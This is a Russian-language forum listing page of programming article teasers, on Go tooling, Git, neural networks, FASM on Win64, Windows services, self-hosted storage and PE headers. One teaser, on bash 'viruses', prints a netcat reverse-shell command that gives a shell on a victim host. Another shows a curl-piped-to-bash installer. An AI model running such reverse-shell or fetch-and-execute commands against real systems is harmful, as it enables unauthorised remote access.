Программирование

Статья Visual Studio Code - установка и настройка для работы с Go (Golang)

  • 1 079
  • 0
Gopher-Codeby.png

Всем хорошего дня. В данной статье я пошагово расскажу и покажу установку IDE Visual Studio Code, компилятора и других утилит языка Go (Golang), клиента Git.
А затем расскажу как запустить вашу программу в отладчике.
Начнем.

Статья Код GPT. Создаем программы при помощи нейросети

  • 3 451
  • 6
Logotype.png

Введение
В последнее время нейросети все больше и больше проникают в нашу повседневную жизнь. Зачастую они упрощают нашу работу, а бывает и вовсе заменяют ее. Давай вспомним название самых популярных творений из этой темы. Наиболее узнаваемая нейронка это ChatGPT. С ее помощью можно создавать различные тексты, задавать различные вопросы и даже писать код. О последней особенности этого творения мы сегодня и поговорим.

План работы
Любую работу стоит начать с плана. Первым делом я расскажу тебе немного подробностей о самой нейронной сети (версия, дата создания и другие подробности). Далее я покажу как правильно составлять вопросы или задачи к ней, чтобы получить наиболее благоприятный ответ. Также рассмотрим решение нескольких задач на языке C#...

Статья Что такое Git? Для начинающих.

  • 1 729
  • 1

git-github.png


Официальный Сайт GitHub

Введение

Привет, Кодебай! Сегодня я хочу поговорить о таком проекте, как 'Git'. Для чего он используется? Чем отличается от GitHub? Попытаюсь показать и рассказать, как все работает. Статья создана для самых маленьких программистов, начинающих исследователей. Приятного ознакомления!

Git

Git - распределенная система контроля и управления версиями кода. Система Git состоит из неких коммитов, в которой работает система контроля версий - когда код внезапно перестал работать, но СКВ вернула его в рабочее состояние. Здесь и подключаются некие коммиты ('сохранить...

Статья Искусственный мозг. Создаем собственную нейросеть

  • 3 259
  • 5
neuronet.png

Введение
Недавно появились устройства, способные думать на таком же уровне, что и человек. Сегодня же ты можешь спокойно написать дипломную работу не листая тонны контента и имея под рукой всего-лишь один сайт. Наверное, ты уже понял, о чем идет речь. Нейросети буквально заполняют наш мир. Но я думаю тебе всегда было интересно, как на самом деле работает такой алгоритм, и какие методы обучения лежат в основе искусственного интеллекта. В этой статье я приоткрою завесу и расскажу тебе, как создать свою нейросеть без каких-либо особых усилий.

План работы
Давай я коротко опишу план нашей работы. Первым делом следует разобраться с тем, как вообще работает нейросеть и что она из себя представляет. После этого мы воспользуемся утилитами для ее написания и попробуем реализовать...

Статья Написание программы для удалённого доступа на bash. Попытка первая.

  • 2 159
  • 7
Всем читающим привет, сегодня хотелось бы поговорить о вирусах на Bash. Начнём с элементарного.

Статья написана в целях ознакомления и не призывает к действию!

bin-bash.jpg


Одним из самых основных инструментов сетевого взаимодействия в Linux является netcat и с помощью него можно создать простейший вирус, буквально в одну строку.
Эта команда дарует вам шелл на хост жертвы.

Bash:
nc -nv 192.168.0.178 4444 -e /bin/bash

Но сейчас это уже не работает, т.к. вряд ли безопасно выполнять команды принятые по незащищённому соединению и это понимают все. Поэтому сейчас почти ни в одном линуксе не будет работать опция -e.

Теперь перейдём к более интересным вещам, а именно созданию более-менее полноценного реверс-шелла. Где-то с костылями, где-то со странными решениями, но для меня это скорее исследовательская работа. :)

Для начала на нашу тестовую мшину нужно установить netcat.

Bash:
sudo apt...

Статья FASM. Обработка исключений в Win-64

  • 1 876
  • 5
На этапе проектирования софта, как-правило предусматривают в нём модуль обработки ошибок и исключений. На жаргоне программистов его называют «защитой от дурака», хотя не исключён вариант, что дураком является здесь как-раз сам разработчик, поскольку плохо продумал пользовательский интерфейс. В любом случае «Exception Handler» должен присутствовать в коде, но с переходом на Win-64 мы сталкиваемся с проблемой. Дело в том, что основанный на стековых фреймах привычный механизм SEH больше не работает – на х64 он подвергся полной «прокачке» и требует теперь абсолютно иного подхода. В данной статье попробуем освятить достоинства и недостатки усовершенствованного механизма SEH-х64.

Оглавление:

1. Введение;
2. Проблемы отладчика WinDbg на 64-бит системах Win7;
3. Программная реализация обработки исключений;
4. Структуры...

Статья FASM. Особенности кодинга на платформе Win-64

  • 2 549
  • 1
64-разрядная архитектура ворвалась в нашу жизнь как торнадо, затягивая в себя всё больше инженеров и прикладных программистов. Новые термины стали появляться как грибы после дождя, а давать им толкового объяснения никто не торопился. В данной статье рассматриваются фундаментальные основы кодинга на платформах Win64, с реальными примерами в отладчике.

Оглавление:


1. Вводная часть;
2. Организация памяти в режиме “Long-mode” х64;
3. Доп.регистры GPR и префикс REX;
4. RIP-относительная адресация;
5. Соглашение “Fast-Call” – быстрый вызов функций;
6. Заключение.


1. Вводная часть

С обзором архитектур связано и без того множество нестыковок, а выход на сцену в...

Статья ASM. Демоны в Windows (1) – сессии, станции, рабочие столы

  • 4 308
  • 10
В системах класса Win, одним из привлекательных направлений является программирование сервисов. Связано это с тем, что сервисы имеют приоритет над обычными приложениями, поскольку предназначены для обслуживания работы самой ОС и запускаются от имени системы. По этой причине, их ещё называют системными службами. Если провести аналогию с Linux, то сервисы Win можно сравнить с демонами, которые присутствуют всегда, но не выползая в свет работают в фоне. В данном треде попробуем разобраться с технической их стороной и посмотрим, какую они представляют угрозу безопасности. Материал получился обширным, а потому пришлось разделить его на две части.

Оглавление:


1. Вводная часть
2. Учётные записи: System, LocalService, NetworkService
3. Сессии входа в систему
4. Оконные станции
5. Рабочие...

Статья Свое облачное хранилище

  • 4 593
  • 9
cloud_storage.jpg

Приветствую!

Не так давно мне понадобилось свое облачное хранилище. На Кодебай я, к сожалению, решения не нашел, так что решил поделиться тем, что получилось у меня.

В этой статье речь пойдет о поднятии своего облака. По сути, все, что нам нужно - это программа, которая будет шарить файлы, и производить над ними действия из веб интерфейса.

Мой выбор остановился на простенькой софтине Filebrowser. это - опенсурсный веб сервер с удобным веб интерфейсом и необходимым набором функционала, написанный на Go.

Установка крайне простая, в консоле пишем:
curl -fsSL https://raw.githubusercontent.com/filebrowser/get/master/get.sh | bash

1642327751939.png


Эта команда стягивает командный файл и сразу выполняет его, тем самым, самостоятельно устанавливая нужный нам софт...

Статья ASM – Тёмная сторона РЕ-файла

  • 5 322
  • 14
Исполняемым файлом в системах класса Win является "Рortable-Еxecutable", или просто РЕ. Инженеры Microsoft потрудились на славу, чтобы предоставить нам спецификацию на него, однако некоторые "тузы в рукавах" они всё-таки припрятали. В данной статье рассматривается недокументированная часть РЕ-файла, ознакомившись с которой можно будет собирать информацию о процессе создания файлов компилятором. Антивирусные компании уже давно практикуют эту фишку своих сканерах, а для широкого круга общественности её так и не предали огласке.

Под катом:


1. Общие сведения;
2. Структура РЕ-файла;
3. Заголовок Rich;
4. Практика – парсим хидеры;
5. Область применения знаний;
6. Заключение.



1...